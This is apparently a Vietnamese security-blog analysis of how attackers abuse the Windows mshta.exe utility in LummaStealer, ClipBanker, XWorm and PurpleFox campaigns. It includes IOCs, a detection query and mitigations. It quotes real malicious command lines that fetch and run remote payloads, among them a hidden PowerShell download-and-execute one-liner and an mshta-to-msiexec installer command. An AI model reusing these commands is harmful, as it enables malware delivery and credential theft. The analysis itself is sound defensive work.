Skip to main content

Command Palette

Search for a command to run...

MSHTA: Công cụ Windows 'đã nghỉ hưu' vẫn đang chạy malware

Updated
11 min read
MSHTA: Công cụ Windows 'đã nghỉ hưu' vẫn đang chạy malware

Tóm tắt cho lãnh đạo

Một tiện ích Windows mà phần lớn mọi người nghĩ đã "chết" cùng Internet Explorer đang âm thầm tiếp sức cho các chiến dịch malware đang hoạt động. Bitdefender cho biết từ đầu năm 2026, số lần phát hiện mshta.exe — Microsoft HTML Application Host — tăng mạnh, và do nhu cầu sử dụng hợp pháp đang giảm dần, xu hướng này phản ánh hoạt động độc hại, không phải việc admin dùng lại.

Sức hấp dẫn rất đơn giản: MSHTA được Microsoft ký, có sẵn mặc định, và chạy VBScript/JavaScript trong bộ nhớ, cho phép kẻ tấn công kéo payload từ xa rồi chuyển tiếp sang PowerShell hoặc msiexec mà gần như không để lại gì trên đĩa. Bitdefender quan sát thấy nó trải khắp phổ mối đe doạ — stealer thương phẩm (LummaStealer, Amatera qua CountLoaderEmmenhtal Loader), malware tráo ví crypto trong clipboard (ClipBanker), và PurpleFox có rootkit, tồn tại lâu năm.

Với doanh nghiệp, rủi ro là: chỉ một cú click vào bản tải "phần mềm miễn phí" giả hay một prompt CAPTCHA giả có thể khởi chạy một binary tin cậy, có chữ ký, dẫn đến đánh cắp thông tin đăng nhập, gian lận tài chính, hoặc xâm nhập dai dẳng — mà các kiểm soát dựa trên signature không hề hay biết.

Hành động quan trọng nhất: hạn chế hoặc chặn mshta.exe (và wscript.exe) ở nơi không cần, và cảnh báo các command line mshta.exe chứa URL hoặc sinh ra PowerShell/msiexec.


Bối cảnh — Vì sao MSHTA là LOLBIN hấp dẫn

mshta.exe chạy HTML Application (.hta) — chương trình viết bằng HTML kèm VBScript hoặc JavaScript — bằng engine render Internet Explorer cũ. Dù IE đã hết hỗ trợ ngày 15/06/2022, engine vẫn tồn tại trong IE mode của Edge (được hỗ trợ ít nhất tới 2029), và bản thân MSHTA vẫn xuất xưởng bật mặc định trên Windows hiện tại.

Living-off-the-Land binary (LOLBIN) hấp dẫn chính vì chúng có chữ ký, quen thuộc và được tin cậy ngầm. MSHTA khớp mô hình này một cách gọn ghẽ: nó có thể thực thi script trong bộ nhớ, lấy nội dung từ vị trí từ xa, và chạy dưới một tiến trình hợp lệ được Microsoft ký — lý tưởng cho stager và loader muốn giảm thiểu artifact trên đĩa.

Lưu ý về xu hướng: Microsoft bắt đầu khai tử VBScript từ nửa sau 2024 (hiện là Feature on Demand, vẫn bật mặc định), dự kiến tắt mặc định vào 2027, và sẽ gỡ bỏ hẳn. Tuy nhiên, chưa có kế hoạch công khai gỡ bỏ MSHTA. Chừng nào còn xuất xưởng mặc định, nó vẫn vừa là công cụ admin tồn dư, vừa là bề mặt tấn công bị phơi ra.

Khoảng 10% telemetry MSHTA của Bitdefender vẫn lành tính — các one-liner javascript:alert() / vbscript:msgbox() thông báo admin và login script đơn giản. Chính phần sử dụng hợp pháp còn lại đó khiến việc chặn thô bạo trở nên rủi ro và detection theo hành vi trở nên cần thiết.


Điểm danh các chuỗi tấn công — MSHTA bị lạm dụng thế nào

Xuyên suốt các chiến dịch, MSHTA đóng cùng một vai trò: tiện ích có sẵn, có chữ ký, lấy về và thực thi nội dung script từ xa ở giai đoạn đầu hoặc trung gian, rồi chuyển tiếp sang PowerShell, WScript, msiexec, hoặc payload cuối.

1. CountLoader → LummaStealer / Amatera

Cụm lớn nhất trong telemetry của Bitdefender dùng CountLoader, một loader dựa trên HTA để phát tán stealer LummaStealerAmatera. Phần lớn lần phát hiện cho thấy command line mshta.exe trỏ tới các domain giả dạng dịch vụ hợp pháp trên TLD .cc (ví dụ google-services[.]cc, memory-scanner[.]cc). Chiến dịch rộ lên cuối 2025, đạt đỉnh cuối tháng 1/2026, rồi giảm khi kẻ tấn công đổi nền tảng hosting; từ cuối tháng 2/2026 xuất hiện pattern mới chuyển sang domain .vg/.gl (explorer[.]vg, ccleaner[.]gl, microservice[.]gl).

Mồi nhử là phần mềm crack/miễn phí phát tán qua tin nhắn, bài đăng mạng xã hội, hoặc website bị SEO poisoning. Archive tải về chứa một Setup.exe thực chất là trình thông dịch Python hợp pháp, kèm các file python3XX.dll thật. Khi chạy, quá trình phân giải dependency nạp một script độc hại tại .\Lib\encodings\aliases.py, script này khởi chạy một bản MSHTA đổi tên (iso2022.exe) để liên lạc C2 và lấy HTA loader. Command line kết quả có dạng:

cd Lib\encodings && iso2022.exe https:\\planetitude[.]org/wp-admin/chellenge/stats.location & iso2022[.]exe https:\\alpha-centavr[.]cc

2. Emmenhtal Loader (ClickFix)

Chuỗi Emmenhtal Loader dựa vào kỹ thuật social engineering ClickFix. Nó bắt đầu bằng link phishing trên Discord dẫn tới trang xác minh người dùng giả (kiểu reCAPTCHA, trên các host như humancheck[.]shop). JavaScript âm thầm chép một lệnh độc hại vào clipboard; người dùng được hướng dẫn nhấn Win + R, Ctrl + V, Enter — khiến explorer.exe khởi chạy mshta.exe trỏ tới một ".mp4" từ xa mà thực chất là HTA.

flowchart TD
    A["Link phishing Discord"] --> B["Trang reCAPTCHA giả<br/>(humancheck[.]shop)"]
    B -->|JS chép cmd vào clipboard| C["User: Win+R → Ctrl+V → Enter"]
    C --> D["explorer.exe → mshta.exe<br/>.mp4 từ xa = HTA (in-memory)"]
    D -->|cửa sổ 1x1px, ẩn| E["JS Base64 decoder → eval"]
    E --> F["WScript.Shell chạy PowerShell<br/>-w hidden -ep bypass"]
    F --> G["AMSI bypass (vá clr.dll)<br/>+ nạp .NET assembly"]
    G --> H["LummaStealer"]

HTA được nhồi dữ liệu rác, đặt cửa sổ thành 1×1 pixel / ẩn, và được thực thi trực tiếp trong bộ nhớ (không bao giờ ghi ra đĩa). Một hàm Base64 nhúng giải mã và eval một loader giai đoạn hai, loader này sinh một WScript.Shell và chạy một PowerShell one-liner ẩn để tải và thực thi script trong bộ nhớ:

powershell -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('hxxps://klipdiheqoe[.]shop/ruwkl[.]png'))"

PowerShell cuối thực hiện một AMSI bypass (vá clr.dll, lấy từ một repo GitHub công khai), rồi Base64-decode và reflectively load một .NET assembly — trong trường hợp phân tích là một assembly LummaStealer đã biết (1E0E375F...85B7C84).

3. ClipBanker

Ở đây MSHTA lấy một HTA từ xa (ví dụ asd.s7610rir[.]pw/win/checking[.]hta), HTA này giấu cửa sổ ra ngoài màn hình (moveTo -2000,-2000), tạo WScript.Shell, và chạy một lệnh PowerShell Base64. Giai đoạn đó kéo checking.ps1 (333E2192...), script này đặt Windows Defender exclusion và persistence qua một scheduled task giả dạng service hợp pháp (ví dụ "Optimize Start Menu Cache Files-S-3-5-21-…"), rồi thả downloader ClipBanker (ichigo-lite.ps1). Một script dọn dẹp (del.ps1) xoá dấu vết và kill các công cụ phân tích như ProcmonAutoruns. Mục tiêu của ClipBanker: tráo địa chỉ ví cryptocurrency trong clipboard của nạn nhân.

4. Các biến thể PowerShell-qua-MSHTA

Những cụm nhỏ hơn dùng MSHTA thuần để sinh PowerShell bị obfuscate, với các mẹo riêng theo chiến dịch nhằm né cảnh báo keyword của EDR/SIEM:

  • XWorm / Danabot — URL trông như file ảnh (.jpg) nhưng là PowerShell chạy in-memory; keyword PowerShell bị tách thành token ((New-Object Net.We + bClient).Downlo…) hoặc chèn ký tự rác rồi loại bằng String.Replace.
  • Lalala stealer — script chỉ được phục vụ nếu request POST chứa mật khẩu định sẵn (iwr ... -method post -body <password>).

5. PurpleFox — ngay cả mối đe doạ tinh vi cũng dùng MSHTA

PurpleFox (hoạt động từ 2018, vẫn còn sống năm 2026) là một backdoor có rootkit. Một phương thức phát tán giữ nguyên nhiều năm: khởi chạy msiexec từ command line MSHTA để tải và chạy một gói MSI giả dạng .png:

mshta.exe vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (195[.]189[.]28[.]244:17807 103[.]124[.]106[.]194:18413 58[.]221[.]59[.]20:17256 ) do Msiexec /i http://%i/3EBCE3A4.Png /Q",0)(window.close)
flowchart LR
    A["mshta.exe (vbscript:)"] --> B["msiexec /i http://IP/file.Png /Q"]
    B --> C["MSI (giả .png)<br/>backdoor có rootkit"]
    C --> D["Persistence + lệnh C2<br/>đánh cắp thông tin · giám sát · DDoS"]
    C --> E["Worm: quét port 445<br/>brute-force SMB"]
    E -->|lây nhiễm| F["Host Windows mới"]
    F --> E

Sau khi cài, PurpleFox cung cấp persistence và thực thi lệnh C2 theo yêu cầu, hỗ trợ đánh cắp thông tin, giám sát và DDoS. Mặt worm của nó (Guardicore, 2021) lây lan bằng cách quét port 445brute-force SMB — chiến dịch từng tăng vọt ~600% vào tháng 5/2020 (≈90.000 cuộc tấn công) và lạm dụng các server IIS cũ, bị chiếm để host payload. Rootkit giấu file và registry key, và malware chặn các port 445/139/135 để ngăn tái nhiễm.

Không phải lúc nào cũng độc hại

Không phải mọi lần MSHTA chạy đều là tấn công. Một phần đáng kể lần phát hiện đến từ DriverPack, trình cập nhật của nó dùng scheduled task để chạy một HTA in-memory kiểm tra cập nhật. Bản thân nó không độc hại (dù một số thành phần bị gắn nhãn PUA) — một nhắc nhở hữu ích rằng nên tinh chỉnh theo hành vi, chứ không chỉ theo riêng mshta.exe.


MITRE ATT&CK Mapping

Mapping do analyst thực hiện dựa trên báo cáo; không phải layer chính thức của vendor.

Tactic Technique ID
Defense Evasion System Binary Proxy Execution: Mshta T1218.005
Defense Evasion System Binary Proxy Execution: Msiexec T1218.007
Execution Command & Scripting: PowerShell T1059.001
Execution Command & Scripting: Visual Basic T1059.005
Execution Command & Scripting: JavaScript T1059.007
Initial Access Phishing T1566
Execution User Execution (gồm ClickFix paste-run) T1204
Command & Control Ingress Tool Transfer T1105
Defense Evasion Obfuscated Files or Information T1027
Defense Evasion Deobfuscate/Decode Files or Information T1140
Defense Evasion Reflective Code Loading T1620
Defense Evasion Impair Defenses (AMSI bypass, Defender exclusion) T1562.001
Persistence Scheduled Task/Job T1053.005
Defense Evasion Rootkit T1014
Collection Clipboard Data (ClipBanker) T1115
Lateral Movement Remote Services: SMB (worm PurpleFox) T1021.002
Credential Access Brute Force (SMB) T1110
Defense Evasion Indicator Removal (script dọn dẹp) T1070

IOC chọn lọc

Chọn lọc để dễ đọc — bộ IOC đầy đủ nằm trong báo cáo Bitdefender (xem phần Tham khảo).

# === Hash (SHA-256) ===
1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84   Payload LummaStealer (Emmenhtal)
333E2192F2551415659FB4094E81B911708921BB588EECF65E27F51C9938DFC2   ClipBanker checking.ps1
38FE562136ADE372FC4CEDDE67826AEEA8404E93A54A4A4736DDB4C8C8D4C96D   ClipBanker ichigo-lite.ps1
7D0487AFC91B0FE8B2FBF732AB54C3C07E86BF69471BBA6C283AABEA190499BA   ClipBanker del.ps1 (dọn dẹp)
 
# === Domain CountLoader / LummaStealer (đại diện) ===
google-services[.]cc · memory-scanner[.]cc · alpha-centavr[.]cc
explorer[.]vg · ccleaner[.]gl · microservice[.]gl   (pattern .vg/.gl mới)
 
# === URL Emmenhtal (đại diện) ===
hxxps[://]buck2nd[.]oss-eu-central-1[.]aliyuncs[.]com/dir/sixth/singl6[.]mp4
hxxp[://]92[.]255[.]57[.]155/Capcha[.]html
hxxps[://]klipdiheqoe[.]shop/ruwkl[.]png   (giai đoạn PowerShell)
 
# === ClipBanker ===
185[.]208[.]159[.]199        host checking.ps1
87[.]96[.]21[.]84            host payload kế tiếp
hxxps[://]asd[.]s7610rir[.]pw/win/checking[.]hta
 
# === Host .msi PurpleFox (đại diện) ===
195[.]189[.]28[.]244 · 103[.]124[.]106[.]194 · 58[.]221[.]59[.]20
89[.]117[.]2[.]159 · 107[.]175[.]187[.]11
 
# === Pattern host-based ===
iso2022.exe                  mshta.exe đổi tên (CountLoader)
mshta.exe sinh ra powershell.exe / msiexec.exe / wscript.exe
command line mshta.exe chứa http(s):// hoặc vbscript:/javascript:
parent explorer.exe → mshta.exe   (ClickFix paste-and-run)
Tên scheduled task giả dạng service Windows

Detection cho SOC

Tín hiệu đáng tin không phải một file đơn lẻ mà là hình dạng command linequan hệ tiến trình của mshta.exe. Điểm khởi đầu (Microsoft Sentinel / Defender KQL):

DeviceProcessEvents
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("http://", "https://", "vbscript:", "javascript:")
   or InitiatingProcessFileName =~ "explorer.exe"   // ClickFix paste-and-run
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Kết hợp với một hunt theo quan hệ tiến trình cho mshta.exe sinh ra powershell.exe, msiexec.exe, hoặc wscript.exe, và flag mọi MSHTA đổi tên (một binary không phải mshta.exe nhưng tên file gốc / chữ ký phân giải về MS HTML Application Host).


Khuyến nghị (ngắn gọn)

  • Chặn hoặc hạn chế mshta.exewscript.exe ở nơi không cần cho nghiệp vụ; chặn thực thi .hta qua Group Policy / application control (WDAC / AppLocker).
  • Bật ASR rules và detection theo hành vi (không chỉ signature); cảnh báo theo pattern command line và quan hệ tiến trình ở trên.
  • Đào tạo người dùng về ClickFix — không bao giờ paste-and-run lệnh từ prompt "xác minh người dùng" (mồi Win+R); tránh tải phần mềm crack/"miễn phí".
  • Di chuyển các script admin cũ ra khỏi MSHTA/VBScript trước thời điểm tắt mặc định VBScript năm 2027.

Tài liệu tham khảo

  1. Bitdefender Labs — Microsoft's MSHTA Legacy Tool Still Powers Malware Campaigns on Windows
  2. SecurityWeek — Legacy Windows Tool MSHTA Fuels Surge in Silent Malware Attacks
  3. SecurityWeek — Purple Fox Malware Squirms Like a Worm on Windows

More from this blog

F

FPT IS Security

817 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.